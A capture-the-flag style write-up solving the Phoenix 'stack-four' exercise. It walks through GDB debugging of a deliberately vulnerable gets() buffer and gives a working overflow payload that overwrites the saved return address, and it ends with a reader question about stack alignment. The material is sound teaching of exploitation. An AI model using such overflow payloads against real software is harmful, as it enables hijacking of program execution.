Stack Four
The description and source code can be found here:
https://exploit.education/phoenix/stack-four/
For this program, we’ll need to overwrite the return address saved on the stack from calling the start_level() function to redirect the flow of execution to the complete_level() function:
void complete_level() { printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n"); exit(0); } void start_level() { char buffer[64]; void *ret; gets(buffer); ret = __builtin_return_address(0); printf("and will be returning to %p\n", ret); } int main(int argc, char **argv) { printf("%s\n", BANNER); start_level(); }
Let’s fire up stack-four in GDB to figure out, exactly, where in the stack the return address is:
user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q stack-four GEF for linux ready, type `gef' to start, `gef config' to configure 71 commands loaded for GDB 8.2.1 using Python engine 3.5 [*] 2 commands could not be loaded, run `gef missing` to know why. Reading symbols from stack-four...(no debugging symbols found)...done. Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128): (gdb)
SIDE NOTE: You may notice a few things after starting GDB here. First, this isn’t your typical “stock” GDB. It comes with GEF (GDB Enhanced Features) pre-installed to help make our lives easier (though I won’t be needing its features for this level). Second, there’s an error on the line right before the command prompt that shows itself every time you enter a command. And if you’re familiar with GEF, you may have noticed that the prompt should show gef> instead of (gdb). This can be easily fixed. Quit GDB and run the following command to prevent GEF from using a Unicode character in its prompt:
sudo sed -i 's/\\u27a4 />/g' /etc/gdb/gef.py
Ok, let’s get back to it. First, I’ll disassemble the main() function to see which address will be stored on the stack after the start_level() function returns. I’ll also disassemble the start_level() function because I’d like to place a break point right after the gets() function is called. That way we can see the user input being stored on the stack.
user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q stack-four GEF for linux ready, type `gef' to start, `gef config' to configure 71 commands loaded for GDB 8.2.1 using Python engine 3.5 [*] 2 commands could not be loaded, run `gef missing` to know why. Reading symbols from stack-four...(no debugging symbols found)...done. gef> disas main Dump of assembler code for function main: 0x000000000040066a <+0>: push rbp 0x000000000040066b <+1>: mov rbp,rsp 0x000000000040066e <+4>: sub rsp,0x10 0x0000000000400672 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000400675 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x0000000000400679 <+15>: mov edi,0x400750 0x000000000040067e <+20>: call 0x400480 <puts@plt> 0x0000000000400683 <+25>: mov eax,0x0 0x0000000000400688 <+30>: call 0x400635 <start_level> 0x000000000040068d <+35>: mov eax,0x0 0x0000000000400692 <+40>: leave 0x0000000000400693 <+41>: ret End of assembler dump. gef> disas start_level Dump of assembler code for function start_level: 0x0000000000400635 <+0>: push rbp 0x0000000000400636 <+1>: mov rbp,rsp 0x0000000000400639 <+4>: sub rsp,0x50 0x000000000040063d <+8>: lea rax,[rbp-0x50] 0x0000000000400641 <+12>: mov rdi,rax 0x0000000000400644 <+15>: call 0x400470 <gets@plt> 0x0000000000400649 <+20>: mov rax,QWORD PTR [rbp+0x8] 0x000000000040064d <+24>: mov QWORD PTR [rbp-0x8],rax 0x0000000000400651 <+28>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400655 <+32>: mov rsi,rax 0x0000000000400658 <+35>: mov edi,0x400733 0x000000000040065d <+40>: mov eax,0x0 0x0000000000400662 <+45>: call 0x400460 <printf@plt> 0x0000000000400667 <+50>: nop 0x0000000000400668 <+51>: leave 0x0000000000400669 <+52>: ret End of assembler dump. gef> b *0x0000000000400649 Breakpoint 1 at 0x400649
The disassembly of the main() function shows that after the start_level() function returns, it will execution at the address 0x0040068d. That’s what I’ll be looking for on the stack. And as you can see, I placed a break point at 0x400649. Next, I’ll run the program and fill the “buffer” variable with 64 characters. I use an A at the beginning, B’s in the middle, and a C at the end so it’s easy for me to see where, on the stack, this data starts and stops.
gef> run <<< $(python -c 'print "A" + "B"*62 + "C"') Starting program: /opt/phoenix/amd64/stack-four <<< $(python -c 'print "A" + "B"*62 + "C"') Welcome to phoenix/stack-four, brought to you by https://exploit.education Breakpoint 1, 0x0000000000400649 in start_level () [... GEF output snipped ...]
After reaching the break point, we can examine the contents of the stack starting at the stack pointer register. I can either manually look for the return address that I had identified earlier (0x0040068d) and calculate the location in my head (which is error-prone), or I can use GDB’s “find” command:
gef> x/24x $sp 0x7fffffffe5f0: 0x42424241 0x42424242 0x42424242 0x42424242 0x7fffffffe600: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffe610: 0x42424242 0x42424242 0x42424242 0x42424242 0x7fffffffe620: 0x42424242 0x42424242 0x42424242 0x43424242 0x7fffffffe630: 0xffff0000 0x00007fff 0xffffe660 0x00007fff 0x7fffffffe640: 0xffffe660 0x00007fff 0x0040068d 0x00000000 gef> find 0x7fffffffe5f0, +96, 0x0040068d 0x7fffffffe648 1 pattern found.
Another option is to use GDB’s “info frame” command and see where RIP is at under “Saved registers:”
gef> info frame Stack level 0, frame at 0x7fffffffe650: rip = 0x400649 in start_level; saved rip = 0x40068d called by frame at 0x7fffffffe670 Arglist at 0x7fffffffe640, args: Locals at 0x7fffffffe640, Previous frame's sp is 0x7fffffffe650 Saved registers: rbp at 0x7fffffffe640, rip at 0x7fffffffe648
So now we know that the return address we’re looking for (0x0040068d) is at memory location 0x7fffffffe648 and the start of the “buffer” variable is at 0x7fffffffe5f0. Next, we need to calculate how many bytes difference that is. I can use a calculator in programmer mode, or I can let GDB do the math. Once I have that value, I’ll continue the execution and let the program exit:
gef> printf "%i\n", 0x7fffffffe648 - 0x7fffffffe5f0 88 gef> c Continuing. and will be returning to 0x40068d [Inferior 1 (process 331) exited normally]
Next, we need to get the address of the complete_level() function. You can either “disassemble complete_level” in GDB and use the first address shown, or grep the output of objdump:
user@phoenix-amd64:/opt/phoenix/amd64$ objdump -d stack-four | grep complete_level 000000000040061d <complete_level>:
So we need to overwrite the return address on the stack with 0x40061d. Let’s test it in GDB and check out the contents of the stack before continuing execution & verifying it worked (Note: If you quit GDB to use the objdump command, you’ll need to set your break point at 0x400649 again):
gef> run <<< $(python -c 'print "A"*88 + "\x1d\x06\x40"') Starting program: /opt/phoenix/amd64/stack-four <<< $(python -c 'print "A"*88 + "\x1d\x06\x40"') Welcome to phoenix/stack-four, brought to you by https://exploit.education Breakpoint 1, 0x0000000000400649 in start_level () [... GEF output snipped ...] gef> x/24x $sp 0x7fffffffe5f0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe600: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe610: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe620: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe630: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe640: 0x41414141 0x41414141 0x0040061d 0x00000000 gef> c Continuing. and will be returning to 0x40061d Congratulations, you've finished phoenix/stack-four :-) Well done! [Inferior 1 (process 354) exited normally]
Excellent! And just for good measure, we can test it in Bash:
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A"*88 + "\x1d\x06\x40"' | ./stack-four Welcome to phoenix/stack-four, brought to you by https://exploit.education and will be returning to 0x40061d Congratulations, you've finished phoenix/stack-four :-) Well done!
Hey, Thanks for showing the solution 🙂 I have a small question regarding the size of the allocated memory on the stack
I see that in the following disassembly 0x0000000000400639 : sub rsp,0x50 the stack is allocating 80 bytes. My question is why does it allocate 80 bytes and not 72?
char buffer[64] + void *ret(8) = 72
What am I missing? 🙂
Does it have anything to do with stack alignment?
GCC, by default, aligns the stack on a 16-byte boundary in the x64 architecture.